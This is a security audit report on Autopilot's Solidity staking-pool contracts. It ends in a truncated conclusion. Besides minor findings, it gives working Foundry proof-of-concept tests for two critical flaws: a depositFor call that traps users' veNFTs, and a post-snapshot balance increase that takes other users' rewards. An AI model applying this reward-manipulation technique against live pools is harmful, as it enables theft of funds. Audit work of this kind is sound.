Security Audit Report

Autopilot Smart Contracts Security Audit

06/30/2025

Revision: 07/04/2025

PREPARED FOR:

Autopilot

ARCADIA CONTACT INFO

Email: audits@arcadiamgroup.com

Telegram: https://t.me/thearcadiagroup

Table of Contents

Executive Summary

1. Introduction and Audit Scope

A Representative of Autopilot ("**CLIENT**") engaged Arcadia, a software development, research, and security company, to conduct a review of the following Autopilot's smart contracts on the following described audit scope:

- **Autopilot contracts at commit #301a6e14250c015905a3ff1f6655b2d60ce32fdc**

2. Audit Summary

a. Audit Methodology

Arcadia completed this security review using various methods primarily consisting of dynamic and static analysis. This process included a line-by-line analysis of the in-scope contracts, optimization analysis, analysis of key functionalities and limiters, and reference against intended functionality.

The followings are the steps we have performed while auditing the smart contracts:

- Investigating the project and its technical architecture overview through its documentation
- Understanding the overview of the smart contracts, the functions of the contracts, the inheritance, and how the contracts interface with each others thanks to the graph created by Solidity Visual Developer
- Manual smart contract audit:
    - Review the code to find any issue that could be exploited by known attacks listed by Consensys
    - Identifying which existing projects the smart contracts are built upon and what are the known vulnerabilities and remediations to the existing projects
    - Line-by-line manual review of the code to find any algorithmic and arithmetic related vulnerabilities compared to what should be done based on the project's documentation
    - Find any potential code that could be refactored to save gas
    - Run through the unit-tests and test-coverage if exists
- Automated smart contract audit:

    - Scanning for vulnerabilities in the smart contracts using Static Code Analysis Software
    - Making a static analysis of the smart contracts using Slither
- Additional review: a follow-up review is done when the smart contracts have any new update. The follow-up is done by reviewing all changes compared to the audited commit revision and its impact to the existing source code and found issues.

b. Summary

There were **8** issues found, **2** of which were deemed to be ‘critical’, and **0** of which were rated as ‘high’.

Severity Rating	Number of Original Occurrences	Number of Remaining Occurrences
CRITICAL	2	0
HIGH	0	0
MEDIUM	2	0
LOW	1	0
INFORMATIONAL	3	0

Findings in Manual Audit

1. Missing event emission when transfer ownership

Issue ID

AP-1

Risk level

Severity: Informational, likelihood: Low

Code segment

```
function transferOwnership(address _new_owner) external onlyOwner {
       require(_new_owner != address(0), "Cannot transfer to zero address");
       owner = _new_owner;
   }
```

Description

The function transfers contract ownership to a new address. The update of contract ownership is critical, however it lacks an event emission to track the update transaction transparently.

Code location

```
contracts/autopilot/DepositValidatorV1.sol
contracts/autopilot/PermanentLocksPoolV1.sol
```

Recommendation

- Add event emission for the update of the contract ownership

Remediation status

Resolved at commit #31159c01865a24f49d76d2d81c519eacb74eb12a

2. Use custom errors instead of require statements

Issue ID

AP-2

Risk level

Severity: Informational, likelihood: Low

Code segment

```
function validateDepositOrFail(
       IveNFT _nft_contract,
       uint256 _lock_id,
       address /* _depositor */
   ) external view {
       uint256 amount = _nft_contract.balanceOfNFT(_lock_id);
       require(amount >= minimum_lock_amount, "Lock amount below minimum");
   }
```

Description

Custom errors are available from solidity version 0.8.4. Instead of using error strings, to reduce deployment and runtime cost, you should use custom errors.

Code location

```
contracts/autopilot/*.sol
```

Recommendation

- Use custom errors instead of require statement. Example as follow:

```
error LockAmountBelowMinimum(uint256 amount);
function validateDepositOrFail(
       IveNFT _nft_contract,
       uint256 _lock_id,
       address /* _depositor */
```

```
    ) external view {
        uint256 amount = _nft_contract.balanceOfNFT(_lock_id);
        if (amount < minimum_lock_amount) revert LockAmountBelowMinimum(amount);
    }
```

Remediation status

`Won't fix` as it does not impact the contracts security and the update requires extra work.

3. Avoid using contract type for state variables

Issue ID

AP-3

Risk level

Severity: Low, likelihood: Low

Code segment

```
// PermanentLocksPoolV1.sol
/// @notice The deposit validator contract for validating deposits
 DepositValidatorV1 public deposit_validator;

// SwapperV1.sol
PermanentLocksPool1 public immutable locks_pool;
```

Description

Use of contract type for state variables creates unnecessary tight coupling or direct contract dependencies. Such unnecessary tight coupling makes the contracts harder to upgrade and verify, and consume more gas on deployments of the contracts.

For example, deploying SwapperV1 contract needs to deploy bytecode for PermanentLocksPoolV1 contract while such deployment only needs the address of the deployed PermanentLocksPoolV1 contract.

This also creates complexity for writing unit tests for the contracts.

Code location

```
contracts/autopilot/PermanentLocksPoolV1.sol
contracts/autopilot/SwapperV1.sol
```

Recommendation

- Create interface type and use it for state variables to create loose coupling and save gas on contract deployments. Example code as follow:

```
// Define interface
interface IDepositValidator {
   function validateDepositOrFail(
       IveNFT _nft_contract,
       uint256 _lock_id,
       address _depositor
   ) external view;
   function minimum_lock_amount() external view returns (uint256);
}

contract PermanentLocksPoolV1 {
   // Use interface instead of concrete implementation
   IDepositValidator public deposit_validator;

   // ...existing code...
}
```

Remediation status

Resolved at commit #9d0b8ddae413305ef8148a3bf814b66630e308d2

4. State variable user_locks_count is redundant

Issue ID

AP-4

Risk level

Severity: Medium

Code segment

```
/// @notice Mapping from user address to array of their lock deposits
 mapping(address => LockInfo[]) public user_locks;
  /// @notice Mapping to track total number of locks per user
 mapping(address => uint256) public user_locks_count;
```

Description

The contract state variable user_locks_count is to track the total number of locks per user. This state variable mapping is redundant as the total number of locks per user can be accessed precisely by the existing state variable user_locks. For example, the number of locks for user X can be accessed by user_locks[X].length.

Having a separate state variable to track the number of locks per user is unnecessary as it is automatically updated when pushing new locks to the user_locks state variable. Although the state variable user_locks_count is decremented or incremented when a lock is removed from or added to user_locks, having to update this increases gas consumption.

Code location

```
contracts/autopilot/PermanentLocksPoolV1.sol
```

Recommendation

- Simply remove this state variable, and when accessing the number of locks per user can be done by reading user_locks.
- To access the number of locks for a user address from a frontend app, simply adding a view function to reading the number of locks in user_locks

Remediation status

Resolved at commit #c00913aaa18acbc056d098a392df06c64739cf94

5. Code readability: comments are misleading

Issue ID

AP-5

Risk level

Severity: Informational

Code segment

```
/// @notice Updates the special window durations
 /// @dev Only owner can call this function
 /// @dev Requirements:
 ///      - Pre-epoch duration must be at least 2 hours
 ///      - Post-epoch duration must be at least 1 hour
 ///      - Combined durations must be less than 1 week to prevent overlapping
windows
 /// @param _window_preepoch_duration New duration for pre-epoch window (in
seconds)
 /// @param _window_postepoch_duration New duration for post-epoch window (in
seconds)
 function setWindowDurations(
   uint256 _window_preepoch_duration,
   uint256 _window_postepoch_duration
 ) external onlyOwner {
   uint256 old_preepoch = window_preepoch_duration;
   uint256 old_postepoch = window_postepoch_duration;

   _setWindowDurations(_window_preepoch_duration, _window_postepoch_duration);

   emit WindowDurationsUpdated(
     old_preepoch,
     _window_preepoch_duration,
     old_postepoch,
     _window_postepoch_duration
   );
 }

function _setWindowDurations(
   uint256 _window_preepoch_duration,
   uint256 _window_postepoch_duration
 ) internal {
   require(deposits_paused, "Cannot set window durations while deposits are
active");
   require(_window_preepoch_duration >= 1.5 hours, "Pre-epoch window must be at
least 90 minutes");
   require(_window_postepoch_duration >= 0.5 hours, "Post-epoch window must be at
least 30 minutes");

}
```

Description

The comments for function setWindowDurations for validating input parameters are conflicting with the actual validation code in the internal function _setWindowDurations. Although it does not impact on the code security, it reduces source code readability, ease of maintenance and testing.

Code location

```
contracts/autopilot/PermanentLocksPoolV1.sol
```

Recommendation

- Update comments to not conflict with the validation code, or update the validation code to match with the comments.

Remediation status

Resolved at commit #e12136593bdfaf4f7f70c45f9c2ee1665ab097f8

6. Validation for constructor’s non-null input parameters

Issue ID

AP-6

Risk level

Severity: Medium

Code segment

```
constructor(
   IveNFT _nft_locks_contract,
   IVoter _voter_contract,
   uint256 _epochs_offset_timestamp,
   IERC20 _rewards_token,
   IRewardsDistributor _rewards_distributor,
   DepositValidatorV1 _deposit_validator,
   uint256 _window_preepoch_duration,
   uint256 _window_postepoch_duration
 ) {
   nft_locks_contract = _nft_locks_contract;
   voter_contract = _voter_contract;
   epochs_offset_timestamp = _epochs_offset_timestamp;
   rewards_token = _rewards_token;
   rewards_distributor = _rewards_distributor;
   deposit_validator = _deposit_validator;
```

Description

Since constructor parameters are set during deployment and critical state variables including `nft_locks_contract, voter_contract, rewards_token, rewards_distributor`, and even `epochs_offset_timestamp` are set to immutable, which make it cannot be changed, invalid addresses or input epoch offset timestamp may permanently break the contract, requiring redeployment.

Code location

```
contracts/autopilot/PermanentLocksPoolV1.sol
```

Recommendation

- Add validations to all of the abovementioned input parameters.

Remediation status

Resolved at commit #f8dd3310f813238c57adaef5917ad77a9cc1877a

7. PermanentLocksPoolV1 NFT Withdrawal Vulnerability

Issue ID

AP-7

Risk level

Severity: Critical

Code segment

```
function deposit(uint256 _lock_id) external {
   require(!deposits_paused, "Deposits are paused");

   _emergencySnapshot();

   //...

   uint256 amount = nft_locks_contract.balanceOfNFT(_lock_id);
   require(amount > 0, "Zero voting power");

   nft_locks_contract.transferFrom(msg.sender, address(this), _lock_id);

   uint256 eligible_epoch = _isInSpecialWindow(last_snapshot_id) ? last_snapshot_id
+ 1 : last_snapshot_id;
   total_tracked_weight[eligible_epoch] += amount;
 }

function withdraw(uint256 _lock_id) external {

   _emergencySnapshot();

   //...

   uint256 amount = nft_locks_contract.balanceOfNFT(_lock_id);

   LockInfo storage lock_info = user_locks[msg.sender][lock_index];
   if(lock_info.start_snapshot_id > last_snapshot_id) {
     total_tracked_weight[lock_info.start_snapshot_id] -= amount;
   } else {
     total_tracked_weight[last_snapshot_id] -= amount;
   }

  //...
}
```

Description

The `PermanentLocksPoolV1` contract suffers from a critical vulnerability that can permanently lock users' veNFT tokens in the contract. This occurs when additional tokens are deposited into a veNFT after it has been deposited into the pool.

When a user deposits a veNFT into the pool, the contract records the current voting power in total_tracked_weight for the current epoch. However, if anyone calls depositFor() on the veNFT contract directly to add more tokens to the NFT (increasing its voting power), the user will be unable to withdraw their NFT.

This happens because the withdrawal function checks if the current NFT balance is less than or equal to the tracked weight from deposit time. If the balance is higher, the withdrawal fails with an arithmetic underflow error when attempting to subtract the NFT's current balance from the total weight.

When the current balance is higher than what was tracked (due to additional deposits), subtracting the higher balance from the tracked weight causes an arithmetic underflow. The underlying issue is that the protocol tracks total voting power per epoch, but not individual NFT deposits

Code location

```
contracts/autopilot/PermanentLocksPoolV1.sol
```

Proof-of-Concept

The following is a unit test to confirm the vulnerability

```
contract PermanentLocksPoolV1Test is Test {
   address public _nft_locks_contract = 0xeBf418Fe2512e7E6bd9b87a8F0f294aCDC67e6B4;
   address public _voter_contract = 0x16613524e02ad97eDfeF371bC883F2F5d6C480A5;
   uint256 public _epochs_offset_timestamp = 1692835200;
   address public _rewards_token = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
   address public _rewards_distributor = 0x227f65131A261548b057215bB1D5Ab2997964C7d;
   address public _deposit_validator = 0x0000000000000000000000000000000000000000;
   uint256 public _window_preepoch_duration = 5400;
   uint256 public _window_postepoch_duration = 1800;
```

```
address public AERODROME_TOKEN = 0x940181a94A35A4569E4529A3CDfB74e38FD98631;

PermanentLocksPoolV1 public pool;
DepositValidatorV1 public validator;
IveNFT public veNFT;

address public aerodromeWhale = 0x6cDcb1C4A4D1C3C6d054b27AC5B77e89eAFb971d;
address public owner = address(0x1);
address public user = address(0x2);
address public someoneElse = address(0x3);
uint256 public lockId;
uint256 public initialBalance = 100 ether;
uint256 public additionalDeposit = 50 ether;

function setUp() public {
    // Set up test accounts with ETH
    vm.deal(owner, 100 ether);
    vm.deal(user, 100 ether);
    vm.deal(someoneElse, 100 ether);
    // Deploy validator
    vm.startPrank(owner);


    // Deploy pool with real contracts from Base
    pool = new PermanentLocksPoolV1(
        IveNFT(_nft_locks_contract),
        IVoter(_voter_contract),
        _epochs_offset_timestamp,
        IERC20(_rewards_token),
        IRewardsDistributor(_rewards_distributor),
        DepositValidatorV1(address(0)),
        _window_preepoch_duration,
        _window_postepoch_duration
    );

    // Set operator permissions
    pool.setPermittedOperator(owner, true);
    vm.stopPrank();

    // Store veNFT interface for later use
    veNFT = IveNFT(_nft_locks_contract);

    // create lock for user
    vm.startPrank(aerodromeWhale);
    IERC20(AERODROME_TOKEN).transfer(user, 100000 ether);
    // Approve the veNFT contract to spend AERO tokens
    IERC20(AERODROME_TOKEN).approve(_nft_locks_contract, type(uint256).max);
    vm.stopPrank();

    vm.startPrank(user);
    // Approve the veNFT contract to spend AERO tokens
    IERC20(AERODROME_TOKEN).approve(_nft_locks_contract, 100000 ether);
    // Create a lock for the user
    lockId = veNFT.createLock(100000 ether, 365 days);
    vm.stopPrank();
}

function testDepositWithdrawBug() public {
    vm.roll(block.number + 1); // Move to next block to update state
    vm.warp(block.timestamp + 1);
```

```
        vm.startPrank(user);
        // Approve the pool to use the NFT
        veNFT.approve(address(pool), lockId);

        // Deposit the NFT
        pool.deposit(lockId);
        vm.stopPrank();

        vm.roll(block.number + 1); // Move to next block to update state
        vm.warp(block.timestamp + 1);

        // Get current epoch and weight
        uint256 currentEpoch = pool.getCurrentEpochId();
        uint256 weight = pool.total_tracked_weight(currentEpoch);
        console.log("Current Epoch:", currentEpoch);
        console.log("Weight after deposit:", weight);

        // Now someone deposits additional AERO to the same NFT
        // This increases the NFT's balance without updating the pool's tracking
        vm.startPrank(aerodromeWhale);

        // Deposit more to the NFT increasing its balance
        veNFT.depositFor(lockId, additionalDeposit);
        vm.stopPrank();

        // Check new NFT balance
        uint256 newNftBalance = veNFT.balanceOfNFT(lockId);
        console.log("New NFT Balance after additional deposit:", newNftBalance);

        vm.roll(block.number + 1); // Move to next block to update state
        vm.warp(block.timestamp + 1);

        // Try to withdraw as the original owner - should fail
        vm.startPrank(user);

        // This should fail because the NFT balance is now greater than what was tracked
        vm.expectRevert("panic: arithmetic underflow or overflow (0x11)");
        pool.withdraw(lockId);
        vm.stopPrank();
    }
}
```

Test Flow

- Initial Setup
    - User creates a veNFT lock with 100,000 AERO tokens for 365 days
- NFT Deposit
    - User deposits their NFT into the PermanentLocksPoolV1 contract
- Balance Manipulation
    - A third party (aerodromeWhale) calls depositFor() to add 50 AERO tokens to the user's NFT. This increases the NFT's voting power/balance
- Failed Withdrawal
    - The original user attempts to withdraw their NFT
    - The withdrawal fails with an arithmetic underflow error

This occurs because the contract's withdrawal logic attempts to subtract the NFT's current balance (which is now higher) from the total tracked weight

Recommendation

- The contract should track individual NFT balances. The following is an example code for recommendation

```
// Add mapping to track individual NFT balances at deposit time
mapping(uint256 => uint256) public depositedNftBalance;

function deposit(uint256 _lock_id) external {
   // Existing code...

   uint256 nft_balance = nft_locks_contract.balanceOfNFT(_lock_id);
   depositedNftBalance[_lock_id] = nft_balance;
   total_tracked_weight[current_epoch] += nft_balance;

   // Existing code...
}

function withdraw(uint256 _lock_id) external {
   // Existing code...

   uint256 current_balance = nft_locks_contract.balanceOfNFT(_lock_id);
   uint256 original_balance = depositedNftBalance[_lock_id];

   // Only subtract the original balance from total weight
   total_tracked_weight[current_epoch] -= original_balance;

   // Existing code...
}
```

Remediation status

Resolved at commit #c27cfc7ad3545610b9d176ab61d6c16ef9eb11d7

8. Rewards Distribution Vulnerability in PermanentLocksPoolV1 Contract

Issue ID

AP-8

Risk level

Severity: Critical

Code segment

```
/// @notice Internal function to claim rewards for a specific lock
 /// @param _lock_id Lock ID to claim rewards from
 function _claim(uint256 _lock_id) internal {
   uint256 lock_index = _getLockIndexOrFail(msg.sender, _lock_id);
   LockInfo storage lock_info = user_locks[msg.sender][lock_index];

   if(last_snapshot_id <= lock_info.start_snapshot_id) {
     return; // Skip locks that are not eligible for rewards yet
   }

   uint256 lock_weight = nft_locks_contract.balanceOfNFT(lock_info.lock_id);
   if(lock_weight == 0) {
     return; // Skip locks with zero voting power
   }

   // Calculate rewards for this lock based on its proportional weight
   uint256 delta_acc = acc_reward_scaled - lock_info.reward_scaled_start;
   if (delta_acc > 0) {
     uint256 lock_payout = (lock_weight * delta_acc) / SCALE;

     // Update this lock's reward baseline
     lock_info.reward_scaled_start = acc_reward_scaled;

     if(lock_payout > 0) {
       rewards_vault.withdraw(rewards_token, msg.sender, lock_payout);
       emit Claim(msg.sender, lock_payout);
     }
   }
 }
```

Description

The PermanentLocksPoolV1 contract contains a significant vulnerability in its rewards distribution mechanism. When users add tokens to an existing veNFT (that has been deposited into the pool) using the depositFor function, it leads to an inequitable distribution of rewards. The contract calculates rewards based on the current NFT balance at claim time rather than the balance at the time of snapshot, which can be exploited to receive an unfair share of the reward pool.

The issue stems from the following reward calculation pattern:

During snapshot, the contract records total voting power across all deposited NFTs:

```
// In snapshotRewards()
if(total_tracked_weight[last_snapshot_id] > 0) {
 uint256 reward_scaled = (reward_amount * SCALE) /
total_tracked_weight[last_snapshot_id];
 acc_reward_scaled += reward_scaled;
}
```

When calculating rewards in getPendingRewards() and _claim(), it uses the current NFT balance:

```
// In getPendingRewards()
uint256 lock_weight = nft_locks_contract.balanceOfNFT(lock_info.lock_id);
uint256 delta_acc = acc_reward_scaled - lock_info.reward_scaled_start;
pending_rewards = (lock_weight * delta_acc) / SCALE;
```

This creates an opportunity for manipulation by depositing additional tokens to a veNFT after rewards have been snapshotted, but before claiming.

This vulnerability has several severe consequences:

- Economic Attack Vector: Users can strategically add tokens to their NFTs after snapshots to extract disproportionate rewards, essentially stealing yield from other users
- Front-running Risk: Advanced users could monitor pending snapshot transactions and front-run them with additional deposits
- Reward Dilution: Honest users receive fewer rewards than they should, based on their proportion at snapshot time

- Protocol Integrity: The fundamental economics of the reward system are compromised

Code location

```
contracts/autopilot/PermanentLocksPoolV1.sol
```

Proof-of-Concept

Our test demonstrates that a user can unfairly increase their reward allocation:

- Initially, User1 deposits an NFT with 100 AERO tokens, and User2 deposits an NFT with 200 AERO tokens
- A reward of 3000 USDC is snapshotted - based on proportional allocation, User1 should receive 1000 USDC (33.3%) and User2 should receive 2000 USDC (66.7%)
- After the snapshot but before claiming, User2 increases their NFT balance by depositing an additional 100 AERO tokens
- During the claim process:
  - User2's rewards are calculated based on their new balance (300 AERO), giving 3000 USDC to User2
  - User1 receives 0 USDC

The test confirms that getPendingRewards shows the expected 1000/2000 USDC distribution, but actual claimed amounts would differ significantly`function`

```
testRewardCalcWithBalanceIncrease() public {
       address user1 = address(0x3);
       address user2 = address(0x4);
       address swapper = address(0x5);
       vm.deal(user1, 100 ether);
       vm.deal(user2, 100 ether);
       vm.deal(swapper, 100 ether);

       uint256 rewardsAmount = 3000e6; // 3000 USDC

       // 1. Users create locks
       vm.startPrank(aerodromeWhale);
       uint256 lockId1 = veNFT.createLockFor(100 ether, 365 days, user1);
       uint256 lockId2 = veNFT.createLockFor(200 ether, 365 days, user2);
       vm.stopPrank();

       // set swapper
       vm.startPrank(owner);
       pool.setSwapperContract(swapper);
```

```
        vm.stopPrank();

        // send rewards to the swapper
        vm.startPrank(usdcWhale);
        IERC20(_rewards_token).transfer(swapper, rewardsAmount);
        vm.stopPrank();

        // 2. Users deposit locks to pool
        vm.startPrank(user1);
        veNFT.approve(address(pool), lockId1);
        pool.deposit(lockId1);
        vm.stopPrank();

        vm.startPrank(user2);
        veNFT.approve(address(pool), lockId2);
        pool.deposit(lockId2);
        vm.stopPrank();

        // 3. Move time to next block and take snapshot with rewards
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 86400*7 + 1);

        // Check current acc_reward_scaled
        uint256 accRewardScaled = pool.acc_reward_scaled();
        vm.assertEq(accRewardScaled, 0);

        // Snapshot rewards (3000 USDC)
        vm.startPrank(swapper);
        IERC20(_rewards_token).approve(address(pool), rewardsAmount);
        pool.snapshotRewards(rewardsAmount);
        vm.stopPrank();

        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 1);

        accRewardScaled = pool.acc_reward_scaled();
        vm.assertEq(accRewardScaled > 0, true);

        // 4. Check pending rewards through view function
        uint256 user1PendingRewards = pool.getPendingRewards(user1, lockId1);
        uint256 user2PendingRewards = pool.getPendingRewards(user2, lockId2);
        vm.assertEq(user1PendingRewards, 1000e6);
        vm.assertEq(user2PendingRewards, 2000e6);

        // 5. User2 adds more tokens to their lock
        vm.startPrank(aerodromeWhale);
        veNFT.depositFor(lockId2, 100 ether); // Increase balance by 100 AERO
        vm.stopPrank();

        console.log("User2 new balance after deposit:", veNFT.balanceOfNFT(lockId2));

        // 6. Track balances before claims
        uint256 user1BalanceBefore = IERC20(_rewards_token).balanceOf(user1);
        uint256 user2BalanceBefore = IERC20(_rewards_token).balanceOf(user2);

        // 7. Users claim rewards
        vm.startPrank(user2);
        pool.claim(lockId2);
        vm.stopPrank();

        vm.startPrank(user1);
        pool.claim(lockId1);
        vm.stopPrank();

        // 8. Calculate actual rewards received
        uint256 user1ActualRewards = IERC20(_rewards_token).balanceOf(user1) -
user1BalanceBefore;
        uint256 user2ActualRewards = IERC20(_rewards_token).balanceOf(user2) -
user2BalanceBefore;

        // 8. Verify the bug: User2 receives more rewards than expected due to increased
balance
        assertGt(user2ActualRewards, user2PendingRewards, "User2 should receive more rewards
due to increased balance");
        assertLt(user1ActualRewards, user1PendingRewards, "User1 should receive less rewards
than expected");

        // 9. Verify the total distributed rewards match the original reward amount
        uint256 totalDistributed = user1ActualRewards + user2ActualRewards;
        assertEq(totalDistributed, rewardsAmount, "Total distributed rewards should match
original amount");
    }
```

Recommendation

Track Lock Weight at Snapshot Time:

```
// Add mapping to store NFT weights at snapshot time
mapping(uint256 => mapping(uint256 => uint256)) public nftSnapshotWeights; // epoch
=> lockId => weight

// In snapshotRewards function
function snapshotRewards(uint256 reward_amount) external onlySwapper {
    // Existing code...

    // Store current weights for all NFTs in this epoch
    for (uint i = 0; i < deposited_locks.length; i++) {
        uint256 lockId = deposited_locks[i];
        nftSnapshotWeights[current_epoch][lockId] =
nft_locks_contract.balanceOfNFT(lockId);
```

```
    }

    // Existing code...
}

// In claim and getPendingRewards functions, use snapshot weight instead of current
weight
function getPendingRewards(address _owner, uint256 _lock_id) external view returns
(uint256) {
    // Existing code...

    uint256 lock_weight;
    // Use snapshot weight if available, otherwise fall back to current weight
    if (nftSnapshotWeights[lock_info.start_snapshot_id][_lock_id] > 0) {
        lock_weight = nftSnapshotWeights[lock_info.start_snapshot_id][_lock_id];
    } else {
        lock_weight = nft_locks_contract.balanceOfNFT(_lock_id);
    }

    // Calculate rewards using lock_weight
    // Existing code...
}
```

Additional Considerations

This issue interacts with the previously identified withdrawal bug. Together, these vulnerabilities create a system where:

- Additional deposits can extract unfair rewards from the pool
- Once this occurs, the NFTs cannot be withdrawn due to the withdrawal balance check

Remediation status

Resolved at commit #c27cfc7ad3545610b9d176ab61d6c16ef9eb11d7

Automated Audit

Static Analysis with Slither

We run a static analysis against the source code using Slither, which is a Solidity static analysis framework written in Python 3. Slither runs a suite of vulnerability detectors, prints visual information about contract details. Slither enables developers to find vulnerabilities, enhance their code comprehension, and quickly prototype custom analyses. The static analysis found an issue regarding unchecked zero addresses for the contract constructor, which is detected by our manual findings as above. Our static analysis does not detect any further vulnerabilities from the contracts.

Unit tests

There are no unit tests shared. The following is the test we write to demonstrate our findings.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "contracts/autopilot/DepositValidatorV1.sol";
import "contracts/autopilot/PermanentLocksPoolV1.sol";
import "contracts/autopilot/RewardsVault.sol";
import "contracts/aerodrome/IveNFT.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract PermanentLocksPoolV1Test is Test {
   address public _nft_locks_contract = 0xeBf418Fe2512e7E6bd9b87a8F0f294aCDC67e6B4;
   address public _voter_contract = 0x16613524e02ad97eDfeF371bC883F2F5d6C480A5;
   uint256 public _epochs_offset_timestamp = 1692835200;
   address public _rewards_token = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
   address public _rewards_distributor = 0x227f65131A261548b057215bB1D5Ab2997964C7d;
   address public _deposit_validator = 0x0000000000000000000000000000000000000000;
   uint256 public _window_preepoch_duration = 5400;
   uint256 public _window_postepoch_duration = 1800;
   address public AERODROME_TOKEN = 0x940181a94A35A4569E4529A3CDfB74e38FD98631;

   PermanentLocksPoolV1 public pool;
   DepositValidatorV1 public validator;
   IveNFT public veNFT;

   address public aerodromeWhale = 0x807877258B55BfEfaBDD469dA1C72731C5070839;
   address public usdcWhale = 0x6cDcb1C4A4D1C3C6d054b27AC5B77e89eAFb971d;
   address public owner = address(0x1);
   address public user = address(0x2);
   address public someoneElse = address(0x3);
```

```
uint256 public lockId;
uint256 public initialBalance = 100 ether;
uint256 public additionalDeposit = 50 ether;

function setUp() public {
    // Set up test accounts with ETH
    vm.deal(owner, 100 ether);
    vm.deal(user, 100 ether);
    vm.deal(someoneElse, 100 ether);
    // Deploy validator
    vm.startPrank(owner);


    // Deploy pool with real contracts from Base
    pool = new PermanentLocksPoolV1(
        IveNFT(_nft_locks_contract),
        IVoter(_voter_contract),
        _epochs_offset_timestamp,
        IERC20(_rewards_token),
        IRewardsDistributor(_rewards_distributor),
        DepositValidatorV1(address(0)),
        _window_preepoch_duration,
        _window_postepoch_duration
    );

    // Set operator permissions
    pool.setPermittedOperator(owner, true);
    vm.stopPrank();

    // Store veNFT interface for later use
    veNFT = IveNFT(_nft_locks_contract);

    // create lock for user
    vm.startPrank(aerodromeWhale);
    IERC20(AERODROME_TOKEN).transfer(user, 100000 ether);
    // Approve the veNFT contract to spend AERO tokens
    IERC20(AERODROME_TOKEN).approve(_nft_locks_contract, type(uint256).max);
    vm.stopPrank();

    vm.startPrank(user);
    // Approve the veNFT contract to spend AERO tokens
    IERC20(AERODROME_TOKEN).approve(_nft_locks_contract, 100000 ether);
    // Create a lock for the user
    lockId = veNFT.createLock(100000 ether, 365 days);
    vm.stopPrank();
}

function testDepositWithdrawBug() public {
    vm.roll(block.number + 1); // Move to next block to update state
    vm.warp(block.timestamp + 1);

    vm.startPrank(user);
    // Approve the pool to use the NFT
    veNFT.approve(address(pool), lockId);

    // Deposit the NFT
    pool.deposit(lockId);
    vm.stopPrank();

    vm.roll(block.number + 1); // Move to next block to update state
    vm.warp(block.timestamp + 1);
```

```
        // Get current epoch and weight
        uint256 currentEpoch = pool.getCurrentEpochId();
        uint256 weight = pool.total_tracked_weight(currentEpoch);
        console.log("Current Epoch:", currentEpoch);
        console.log("Weight after deposit:", weight);

        // Now someone deposits additional AERO to the same NFT
        // This increases the NFT's balance without updating the pool's tracking
        vm.startPrank(aerodromeWhale);

        // Deposit more to the NFT increasing its balance
        veNFT.depositFor(lockId, additionalDeposit);
        vm.stopPrank();

        // Check new NFT balance
        uint256 newNftBalance = veNFT.balanceOfNFT(lockId);
        console.log("New NFT Balance after additional deposit:", newNftBalance);

        vm.roll(block.number + 1); // Move to next block to update state
        vm.warp(block.timestamp + 1);

        // Try to withdraw as the original owner - should fail
        vm.startPrank(user);

        // This should fail because the NFT balance is now greater than what was tracked
        vm.expectRevert("panic: arithmetic underflow or overflow (0x11)");
        pool.withdraw(lockId);
        vm.stopPrank();
    }

    function testRewardCalcWithBalanceIncrease() public {
        address user1 = address(0x3);
        address user2 = address(0x4);
        address swapper = address(0x5);
        vm.deal(user1, 100 ether);
        vm.deal(user2, 100 ether);
        vm.deal(swapper, 100 ether);

        uint256 rewardsAmount = 3000e6; // 3000 USDC

        // 1. Users create locks
        vm.startPrank(aerodromeWhale);
        uint256 lockId1 = veNFT.createLockFor(100 ether, 365 days, user1);
        uint256 lockId2 = veNFT.createLockFor(200 ether, 365 days, user2);
        vm.stopPrank();

        // set swapper
        vm.startPrank(owner);
        pool.setSwapperContract(swapper);
        vm.stopPrank();

        // send rewards to the swapper
        vm.startPrank(usdcWhale);
        IERC20(_rewards_token).transfer(swapper, rewardsAmount);
        vm.stopPrank();

        // 2. Users deposit locks to pool
        vm.startPrank(user1);
        veNFT.approve(address(pool), lockId1);
        pool.deposit(lockId1);
        vm.stopPrank();

        vm.startPrank(user2);
        veNFT.approve(address(pool), lockId2);
        pool.deposit(lockId2);
        vm.stopPrank();

        // 3. Move time to next block and take snapshot with rewards
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 86400*7 + 1);

        // Check current acc_reward_scaled
        uint256 accRewardScaled = pool.acc_reward_scaled();
        vm.assertEq(accRewardScaled, 0);

        // Snapshot rewards (3000 USDC)
        vm.startPrank(swapper);
        IERC20(_rewards_token).approve(address(pool), rewardsAmount);
        pool.snapshotRewards(rewardsAmount);
        vm.stopPrank();

        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 1);

        accRewardScaled = pool.acc_reward_scaled();
        vm.assertEq(accRewardScaled > 0, true);

        // 4. Check pending rewards through view function
        uint256 user1PendingRewards = pool.getPendingRewards(user1, lockId1);
        uint256 user2PendingRewards = pool.getPendingRewards(user2, lockId2);
        vm.assertEq(user1PendingRewards, 1000e6);
        vm.assertEq(user2PendingRewards, 2000e6);

        // 5. User2 adds more tokens to their lock
        vm.startPrank(aerodromeWhale);
        veNFT.depositFor(lockId2, 100 ether); // Increase balance by 100 AERO
        vm.stopPrank();

        console.log("User2 new balance after deposit:", veNFT.balanceOfNFT(lockId2));

        // 6. Track balances before claims
        uint256 user1BalanceBefore = IERC20(_rewards_token).balanceOf(user1);
        uint256 user2BalanceBefore = IERC20(_rewards_token).balanceOf(user2);

        // 7. Users claim rewards
        vm.startPrank(user2);
        pool.claim(lockId2);
        vm.stopPrank();

        vm.startPrank(user1);
        pool.claim(lockId1);
        vm.stopPrank();

        // 8. Calculate actual rewards received
        uint256 user1ActualRewards = IERC20(_rewards_token).balanceOf(user1) - user1BalanceBefore;
        uint256 user2ActualRewards = IERC20(_rewards_token).balanceOf(user2) - user2BalanceBefore;

        // 8. Verify the bug: User2 receives more rewards than expected due to increased balance
        assertGt(user2ActualRewards, user2PendingRewards, "User2 should receive more rewards due to 
increased balance");
        assertLt(user1ActualRewards, user1PendingRewards, "User1 should receive less rewards than
expected");

        // 9. Verify the total distributed rewards match the original reward amount
        uint256 totalDistributed = user1ActualRewards + user2ActualRewards;
        assertEq(totalDistributed, rewardsAmount, "Total distributed rewards should match original amount");
    }
}
```

Conclusion

Arcadia identified issues that occurred at the following repositories:

